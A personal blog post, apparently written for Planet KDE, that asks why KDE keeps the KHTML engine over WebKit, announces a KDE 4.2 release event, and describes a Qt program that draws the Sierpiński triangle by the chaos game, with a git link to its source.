1. Why does KDE use KHTML when WebKit is faster, more compatible, etc?
2. Why does Konqueror use KHTML as default instead of WebKit?
3. Will KHTML be moved out of the main tree?

As far as I can see, it is commonly accepted fact that WebKit is a faster and more compatible engine than KHTML. WebKit was ported to Qt in 4.4, and Qt 4.5 provides some critical enhancements. From these two points, the three questions above naturally follow. If the situation for KHTML was completely hopeless, then it never would have made KDE 4.0 or the present API would be converted into a wrapper for QtWebKit. But this is not the case, so presumably the KHTML team has high hopes for the project. I wonder what the team’s response is to these questions. Undoubtedly they have thought a lot about KHTML vs WebKit and find WebKit a worthwhile project. What’s the deal?

Update:
There will be a KDE 4.2 release event at the Hungarian Pastry Shop on 1030 Amsterdam Avenue (between west 110th and 111th) at 8pm on January 28th. Visit wiki information.

Speaking of projects, to learn more about Qt’s painting system, I wrote a program that generates the Sierpiński triangle using a chaos game. Pick three vertices of a triangle. Plot a point at random inside that triangle. Choose a vertex of the triangle at random and plot the midpoint between the chosen vertex and the previous point plotted. Repeat this ad infinitum and you get:

I don’t think that I’ve implemented the drawing in the most ideal way, so please leave suggestions. I opted to use a QImage instead of a QPainter, and then just fill pixels and scale. You can browse the source, checkout the repository with git clone http://git.zx2c4.com/trianglefractalchaos.git, or download a tarball.

Currently I’m running 4.1.2, but I plan to switch completely over to trunk in the next few weeks. Here’s my default clean desktop:

The large note on the left is about a few ideas for a shared-server-plan based file sharing mini-network. Maybe I’ll say more on this another time if I end up implementing it.

Hello planetKDE.